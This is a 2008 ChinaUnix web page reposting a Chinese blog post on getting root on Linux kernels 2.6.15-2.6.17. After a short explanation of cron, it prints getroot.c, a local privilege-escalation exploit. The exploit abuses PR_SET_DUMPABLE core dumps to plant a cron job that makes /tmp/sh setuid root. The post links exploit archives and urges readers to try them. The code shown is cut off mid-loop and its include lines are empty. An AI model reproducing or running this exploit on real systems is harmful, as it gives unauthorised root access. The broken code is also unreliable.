·ChinaUnix首页 ·论坛 ·博客 
Linux首页 | Linux新闻 | Linux文档 | Linux论坛 | Linux下载 | Linux博客 | Linux搜索
新手入门 | 安装启动 | 管理员指南 | 开发者手册 | 桌面应用 | 程序开发 | 数据库 | 网络技术| CentOS | Fedora | RHEL | Ubuntu | Apache | MySQL | PHP
  Linux时代 >> 技术文档 >> 系统管理
 
获取linux 2.6.15 root权限
来源: ChinaUnix博客  日期: 2008.04.27 23:09 (共有条评论) 我要评论
 


先介绍下cron,crontab文件可以让系统定时执行工作(相当于windows上的task计划),Cron是一个常驻程序(daemon),在开机时激活cron的daemon时,它会自动去检查相关目录,看看是否有任何cron文件。每一个user的可以去设定自己所要排定执行的工作。系统会定期执行 /etc/下的cron.d、cron.daily、cron.hourly、cron.weekly、cron.monthly目录下的命令。
我们关心的是怎么让它产生core dump,然后获取root权限。
正文]:
/*
*getroot.c
* 2006/11/08 Linux 2.6.15 Exp
* Modified by gz1X
* Thx to:
*
  • Marco Ivaldi  
    *
  • Julien TINNES
    *
    * Usage:
    * $ gcc getroot.c -o getroot -Wall
    * $ ./getroot
    *
    * test on dubuntu 2.6.15-23-686
    * theoretically it will work on 2.6.15-2.6.17
    */
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root    chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
    int main() {
        int id,i;
        struct rlimit   corelimit={RLIM_INFINITY, RLIM_INFINITY};
        system("cp /bin/sh /tmp/sh");
        setrlimit(RLIMIT_CORE, &corelimit);
        if ( !( id = fork() )) {
            chdir("/etc/cron.d");
            prctl(PR_SET_DUMPABLE, 2);
            sleep(200);
            exit(1);
        }
        kill(id, SIGSEGV);
        fprintf(stderr, "Getting the root shell.Please wait...\n");
        for (i = 0; i
    [*[下载]:
    getroot.zip

    附上Julien TINNES的攻击源代码,大家可以尝试之。攻击效果非常好。各种linux平台都没问题。
    Julien TINNES-exp.zip

    just enjoy!
    :-)
    本文出自 51CTO.COM技术博客


    本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/31/showart_602229.html
  •   发表评论 查看评论(共有条评论) 我要提问
     
     


    最新资讯更多>> 
    · Symbian开源:救赎 反击与未来
    · Google发布内部安全侦测工具Ra..
    · RMS攻击盖茨、微软及其慈善基金会
    · Richard Stallman对盖茨退休的..
    · 发行版发布:Ubuntu 8.04.1
    · Ubuntu Tweak 0.3.4正式发布
    · 哪一个 Linux 发行版最流行?
    · 开源运营引发中小网游厂商运营..
    · Core 2 Duo E8400 Ubuntu性能全..
    · Linux下Wine中文对话框乱码解决法
    论坛热点更多>> 
    · 70后和80后 的婚姻
    · 系统时钟比硬件时钟快很多,..
    · crontab内容无法启动
    · [转贴]热词“俯卧撑”风靡网络
    · 闲啊闲~闲啊闲
    · 墙纸 1280x1024
    · 好儿呢。。。
    · 原来我也是一个小心眼得女人
    · 信誉积分怎么得?
    · @@
    文档更新更多>> 
    · [转]几种linux内核文件的区别
    · Debian 在线播放
    · epoll入门
    · yum出现Existing lock /var/run/..
    · RPM 的介绍和应用
    · SSH客户端命令的使用
    · Unix/Linux下文件基本操作
    · vmstat命令列出的属性详解
    · linux学习笔记分享 (Linux入门绝佳)
    · squid 命令行选项分类
     
    关于我们 | 联系方式 | 广告合作 | 诚聘英才 | 网站地图 | 友情链接 | 免费注册

    Copyright © 2001-2008 ChinaUnix.net All Rights Reserved

    感谢所有关心和支持过ChinaUnix的朋友们